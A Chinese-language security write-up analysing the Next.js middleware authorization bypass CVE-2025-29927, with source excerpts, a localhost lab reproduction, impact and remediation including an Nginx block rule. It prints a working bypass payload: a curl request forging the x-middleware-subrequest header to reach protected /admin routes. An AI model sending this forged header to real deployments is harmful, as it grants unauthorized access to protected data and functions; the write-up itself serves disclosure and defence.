1. 漏洞概述
CVE-2025-29927(GHSA-f82v-jwr5-ff7m)是 Next.js Middleware(中间件)鉴权绕过漏洞,研究员 zhero__ 发现,2025-03-21 披露。
核心:Next.js 用内部请求头 x-middleware-subrequest 识别”中间件自己发起的内部子请求”,满足条件时跳过中间件执行;该头客户端可控且未校验,伪造成内部子请求即可绕过中间件里所有鉴权/访问控制,未授权访问受保护路由。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2025-29927(GHSA-f82v-jwr5-ff7m) |
| 漏洞类型 | 中间件鉴权绕过(Authorization Bypass) |
| 影响版本 | < 12.3.5 / < 13.5.9 / < 14.2.25 / < 15.2.3(自 1.11.4 起) |
| 修复版本 | 12.3.5、13.5.9、14.2.25、15.2.3 |
| CVSS | 9.1(Critical),CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 攻击条件 | 应用用 Middleware 做鉴权(Cookie、Token、IP 白名单) |
⚠️ 只有把安全边界放在 Middleware 里的应用才受影响;鉴权写在 Route Handler、Server Component 或后端的不受影响。教训:中间件不是安全边界。
2. 漏洞原理
2.1 内部子请求机制
Middleware 跑在 Edge 沙箱:内部发起子请求时(如 fetch() 站内 API),沙箱 fetch polyfill 会把中间件模块名追加到 x-middleware-subrequest 头中,冒号分隔(dist/server/web/sandbox/context.js,15.2.2):
// 沙箱 fetch polyfill:把中间件模块名追加到内部子请求头
const store = requestStore.getStore();
if (store?.headers.has('x-middleware-subrequest') && !init.headers.has('x-middleware-subrequest')) {
init.headers.set('x-middleware-subrequest', store.headers.get('x-middleware-subrequest') ?? '');
}
const prevs = init.headers.get(`x-middleware-subrequest`)?.split(':') || [];
const value = prevs.concat(options.moduleName).join(':');
init.headers.set('x-middleware-subrequest', value);
目的:防无限递归——子请求再次进入中间件时需知道”这个请求已跑过我一次”。
2.2 递归深度判断(漏洞点)
再次进入中间件时,沙箱 run() 统计该头中当前中间件名的出现次数,超过 5 次(MAX_RECURSION_DEPTH)即短路,返回”继续放行”的空响应,不执行中间件函数(dist/server/web/sandbox/sandbox.js,15.2.2):
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr) => curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: { 'x-middleware-next': '1' } // 等价于中间件直接 next() 放行
})
};
}
// ... 正常执行用户中间件 edgeFunction
2.3 攻击手法
关键:x-middleware-subrequest 客户端可任意伪造,服务端不校验它是否真来自内部子请求。
params.name即中间件模块名,完全可预测:src/middleware.ts→src/middleware,根目录middleware.ts→middleware(对应构建产物.next/server/middleware-manifest.json的 key);- 中间件名用冒号重复 5 次,
depth >= 5即命中短路,中间件整体被跳过,请求直接放行。
# 绕过载荷:中间件名(按实际位置取 src/middleware 或 middleware)重复 5 层
curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" https://target/admin
为什么是 5 层不是 1 层?判断条件是出现次数 ≥ 5 而非”包含即可”:1 次只算 depth=1,中间件照常执行。
3. 复现
3.1 搭建受影响版本
用 create-next-app 搭 14.2.24 项目,把首页换成受保护后台页:
# 创建项目(脚手架自带最新版,需手动降级)
npx create-next-app@latest cve-2025-29927-lab --ts --app --no-tailwind --no-eslint
cd cve-2025-29927-lab
npm i next@14.2.24 # 降到受影响版本
保护 /admin 的中间件(src/middleware.ts):
import { NextRequest, NextResponse } from 'next/server';
// 本地实验用"密码",实际场景通常是 JWT/Session 校验
const ADMIN_TOKEN = 'lab-secret-token';
export function middleware(request: NextRequest) {
const token = request.cookies.get('admin_token')?.value;
if (token !== ADMIN_TOKEN) {
// 未认证:重定向到登录页(307)
return NextResponse.redirect(new URL('/login', request.url));
}
return NextResponse.next();
}
export const config = {
matcher: ['/admin/:path*'],
};
再写受保护的页面(src/app/admin/page.tsx):
export default function AdminPage() {
return <h1>Admin Panel(受保护内容)</h1>;
}
启动服务:
npm run dev # http://localhost:3000
3.2 攻击对比
正常请求:无 admin_token Cookie,中间件拦截并 307 重定向到 /login:
$ curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
content-type: text/plain; charset=utf-8
...
伪造 x-middleware-subrequest:中间件被跳过,未认证直接拿到管理页 200:
$ curl -i -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \
http://localhost:3000/admin
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
...
<h1>Admin Panel(受保护内容)</h1>
| 请求 | 中间件执行 | 结果 |
|---|---|---|
GET /admin | ✅ 执行,Token 校验失败 | 307 → /login |
GET /admin + 伪造头(5 层) | ❌ 被短路跳过 | 200,直接返回管理页 |
💡 中间件在根目录(
middleware.ts)时,把载荷里的src/middleware换成middleware;拿不准看.next/server/middleware-manifest.json的 middleware key。
4. 影响
- 认证/授权绕过 → 数据泄露、功能滥用:用中间件做登录态、管理员权限、IP 白名单、灰度开关的应用,所有受保护路由(后台、API、内部页)无需凭据即可访问。
- 安全响应头失效 → 辅助 XSS:中间件常统一注入 CSP、X-Frame-Options、HSTS;被跳过则这些头不生效,XSS 防护被削弱(
frame-ancestors失效可配合点击劫持)。 - 限流/风控绕过:限流、Bot 检测、频率控制一并被绕过,可用于暴力破解、刷接口。
- 组合利用:该头不影响 Route Handler / Server Component 内的校验,攻击面取决于”安全边界是否只在中间件”。大量项目把鉴权写在中间件里(官方早期教程写法),公告发布数小时内即出现公开 PoC 与批量扫描。
5. 修复
1. 升级到修复版本(首选)
| 受影响分支 | 修复版本 |
|---|---|
| 12.x | 12.3.5 |
| 13.x | 13.5.9 |
| 14.x | 14.2.25 |
| 15.x | 15.2.3 |
npm i next@14.2.25 # 以 14.x 为例
修复原理(15.2.3):启动时生成随机 middleware-subrequest-id(8 字节随机数,存进程全局),入口处对所有请求执行 filterInternalHeaders()——只有 x-middleware-subrequest-id 匹配该随机值才信任 x-middleware-subrequest,否则直接删除该头,外部伪造的头到不了沙箱:
// 15.2.3 dist/server/lib/server-ipc/utils.js
const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header];
}
// 不是本进程内部子请求 → 剥掉伪造的 x-middleware-subrequest
if (header === 'x-middleware-subrequest' &&
headers['x-middleware-subrequest-id'] !== globalThis[Symbol.for('@next/middleware-subrequest-id')]) {
delete headers['x-middleware-subrequest'];
}
}
};
2. 无法升级时:WAF/网关拦截
NVD 建议:在反向代理 / WAF / CDN 层拦截带 x-middleware-subrequest 的外部请求(正常客户端永远不会带这个头),例如 Nginx:
# 外部请求携带内部头一律 403(Nginx 默认会丢弃下划线头,这里是双保险)
if ($http_x_middleware_subrequest) {
return 403;
}
雷池(SafeLine)等 WAF 可加规则:Header: x-middleware-subrequest 命中即拦截。
3. 架构层:别用中间件做安全边界
- 鉴权/授权下沉到 Route Handler、Server Component、服务端 API 等受信任环境,中间件只做体验层(如登录后跳转);
- 即使升级到修复版本,中间件校验仍是”可绕过层”:内部子请求路径、
x-middleware-next等其它内部头、未来新版本引入的内部机制都可能成为新绕过面; - 纵深防御:Cookie 加
HttpOnly+Secure+SameSite;服务端二次校验 Token 签名与过期时间;敏感接口独立鉴权。
参考
- GitHub Advisory:GHSA-f82v-jwr5-ff7m(https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-ff7m)
- NVD:CVE-2025-29927(CVSS 9.1)
- Next.js 官方安全公告:https://nextjs.org/blog/cve-2025-29927